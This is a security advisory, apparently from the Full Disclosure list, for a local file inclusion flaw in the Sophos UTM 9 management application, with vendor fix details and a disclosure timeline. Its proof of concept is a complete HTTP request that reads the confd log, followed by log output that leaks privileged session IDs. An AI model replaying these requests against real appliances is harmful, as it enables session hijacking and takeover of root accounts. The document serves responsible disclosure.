KL-001-2017-021 : Sophos UTM 9 Management Appplication Local File Inclusion

[KoreLogic Disclosures <disclosures () korelogic com>]

KL-001-2017-021 : Sophos UTM 9 Management Appplication Local File Inclusion

Title: Sophos UTM 9 Management Application Local File Inclusion
Advisory ID: KL-001-2017-021
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-021.txt


1. Vulnerability Details

     Affected Vendor: Sophos
     Affected Product: UTM 9
     Affected Version: 9.410
     Platform: Embedded Linux
     CWE Classification: CWE-538: File and Directory Information Exposure,
                         CWE-264: Permissions, Privileges, and Access Controls,
                         CWE-532: Information Exposure Through Log Files
     Impact: Information Disclosure
     Attack vector: HTTP

2. Vulnerability Description

     Any user is has log viewing rights provisioned can read
     arbitrary files from the local filesystem as a limited privilege
     user. This can be used to read the confd log file and obtain
     root privilege SID values.

3. Technical Description

     Any user who has permission to access the 'Logging & Reporting'
     functionality within the management application can read
     arbitrary files.

        POST /webadmin.plx HTTP/1.1
        Host: 1.3.3.7:4444
        Accept-Language: en-US,en;q=0.5
        X-Requested-With: XMLHttpRequest
        X-Prototype-Version: 1.5.1.1
        Content-Type: application/json; charset=UTF-8
        Content-Length: 313
        Cookie: SID=SoCKGdoKFmeobxZTEWDz
        DNT: 1
        Connection: close

        {"objs": [{"filename": "/var/log/confd.log", "FID": "log_download_single"}], "SID": "SoCKGdoKFmeobxZTEWDz", 
"browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 0, "RID":
"1491835733989_0.7813499665507969", "current_uuid": "189fb61e-e01b-11da-8017-0014221e9eba", "ipv6": false}

        HTTP/1.1 200 OK
        Date: Mon, 10 Apr 2017 07:49:51 GMT
        Server: Apache
        Expires: Thursday, 01-Jan-1970 00:00:01 GMT
        Pragma: no-cache
        X-Frame-Options: SAMEORIGIN
        X-Content-Type-Option: nosniff
        X-XSS-Protection: 1; mode=block
        Vary: Accept-Encoding
        Connection: close
        Content-Type: application/json; charset=utf-8
        Content-Length: 605

        
{"SID":"SoCKGdoKFmeobxZTEWDz","ipv6":false,"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","browser":"gecko","RID":"1491835733989_0.7813499665507969","js":"if($(\"topbar_icon\")){$(\"topbar_icon\").src=\"core/img/topbar/topbar_user.png\";}toggle_who_is_watching(0);","backend_version":"2","loc":"english","globals_data":["SoCKGdoKFmeobxZTEWDz"],"globals":["SID"],"objs":[{"current_uuid":"189fb61e-e01b-11da-8017-0014221e9eba","FID":"log_download_single","filename":"/var/log/confd.log","js":"start_download('var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log');"}],"_cookie":null,"wdebug":0}

     The start_download() function is JavaScript loaded into the
     browser. This function takes the given parameter and uses it
     to build the subsequent HTTP GET request.

        GET /var/SoCKGdoKFmeobxZTEWDz/downloads/singlelogfile/confd-debug.log HTTP/1.1
        Host: 1.3.3.7:4444
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) Gecko/20100101 Firefox/52.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Referer: https://1.3.3.7:4444/
        Cookie: SID=SoCKGdoKFmeobxZTEWDz
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1

        HTTP/1.1 200 OK
        Date: Mon, 10 Apr 2017 07:51:02 GMT
        Server: Apache
        X-Frame-Options: SAMEORIGIN
        X-Content-Type-Option: nosniff
        X-XSS-Protection: 1; mode=block
        Cache-Control: max-age=31536000
        Expires: Tue, 10 Apr 2018 07:51:02 GMT
        Vary: Accept-Encoding
        Connection: close
        Content-Type: text/plain; charset=utf-8
        Content-Length: 2595127

        2017:04:02-00:00:01 hostname confd[28056]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv"
facility="system" client="ips-reporter.pl" call="new"<31>Apr  2 00:00:01 confd[28056]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="ips-reporter.pl" lock="none" method="get_SID"
        2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none"
method="signal_unsubscribe"
        2017:04:02-00:00:01 hostname confd[28056]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl" lock="none" 
method="logout"
        2017:04:02-00:00:01 hostname confd[28056]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="oLwZJzlZQcXRrgpDZtwv" facility="system"
client="ips-reporter.pl" call="logout" function="logout"
        2017:04:02-00:00:01 hostname confd[28056]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" 
sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="ips-reporter.pl"
        2017:04:02-00:00:01 hostname confd[28070]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj"
facility="system" client="spx-password-expire" call="new"<31>Apr  2 00:00:01 confd[28070]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="spx-password-expire" lock="none" method="get_SID"
        2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none" 
method="get"
        2017:04:02-00:00:01 hostname confd[28070]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire" lock="none"
method="logout"
        2017:04:02-00:00:01 hostname confd[28070]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="sJpVhmspOPKYYxNAcfEj" facility="system"
client="spx-password-expire" call="logout" function="logout"
        2017:04:02-00:00:02 hostname confd[28070]: D sys::DESTROY:231() => id="3100" severity="debug" sys="System" 
sub="confd"
name="worker process exiting" user="system" srcip="127.0.0.1" facility="system" client="spx-password-expire"
        2017:04:02-00:00:01 hostname confd[28083]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj"
facility="system" client="admin-reporter.pl" call="new"<31>Apr  2 00:00:02 confd[28083]: D sys::AUTOLOAD:303() =>
id="3100" severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1"
facility="system" client="admin-reporter.pl" lock="none" method="get_SID"
        2017:04:02-00:00:01 hostname confd[28086]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="BXeDpxEvboHeDEmaaHEY"
facility="system" client="vpnreporter" call="new"<31>Apr  2 00:00:02 confd[28086]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="vpnreporter" lock="none" method="get_SID"
        2017:04:02-00:00:01 hostname confd[28088]: D Role::authenticate:185() => id="3106" severity="debug" sys="System"
sub="confd" name="authentication successful" user="system" srcip="127.0.0.1" sid="SBggtglcePoJTWtmkIMO"
facility="system" client="websecreporter" call="new"<31>Apr  2 00:00:02 confd[28088]: D sys::AUTOLOAD:303() => id="3100"
severity="debug" sys="System" sub="confd" name="external call" user="system" srcip="127.0.0.1" facility="system"
client="websecreporter" lock="none" method="get_SID"
        2017:04:02-00:00:02 hostname confd[28086]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="vpnreporter" lock="none"
method="signal_subscribe"
        2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="signal_unsubscribe"
        2017:04:02-00:00:02 hostname confd[28088]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="websecreporter" lock="none"
method="signal_subscribe"
        2017:04:02-00:00:02 hostname confd[28083]: D sys::AUTOLOAD:303() => id="3100" severity="debug" sys="System" 
sub="confd"
name="external call" user="system" srcip="127.0.0.1" facility="system" client="admin-reporter.pl" lock="none"
method="logout"
        2017:04:02-00:00:02 hostname confd[28083]: D Session::terminate:290() => id="3100" severity="debug" sys="System"
sub="confd" name="closing session" user="system" srcip="127.0.0.1" sid="bgpZDQBWHcNGvvQKTjPj" facility="system"
client="admin-reporter.pl" call="logout" function="logout"
        ...
        ...

     The logging of 'sid' values is also dangerous because it
     leaks session identifiers who may be of higher privilege. A
     'sid' for the admin account can be used to change the root
     and loginuser passwords.

4. Mitigation and Remediation Recommendation

     The vendor has addressed this vulnerability in version 9.503. Release notes and download instructions can be found 
at:
     https://community.sophos.com/products/unified-threat-management/b/utm-blog/posts/utm-up2date-9-503-released

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic submits vulnerability details to Sophos.
     2017.07.21 - Sophos acknowledges receipt.
     2017.09.01 - 30 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.09.15 - KoreLogic requests an update on the status of this
                  and other vulnerabilities reported to Sophos.
     2017.09.18 - Sophos informs KoreLogic that this issue has been
                  remediated in release 9.503 for UTM.
     2017.10.24 - KoreLogic public disclosure.

7. Proof of Concept

     See 3. Technical Description.


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Attachment: signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/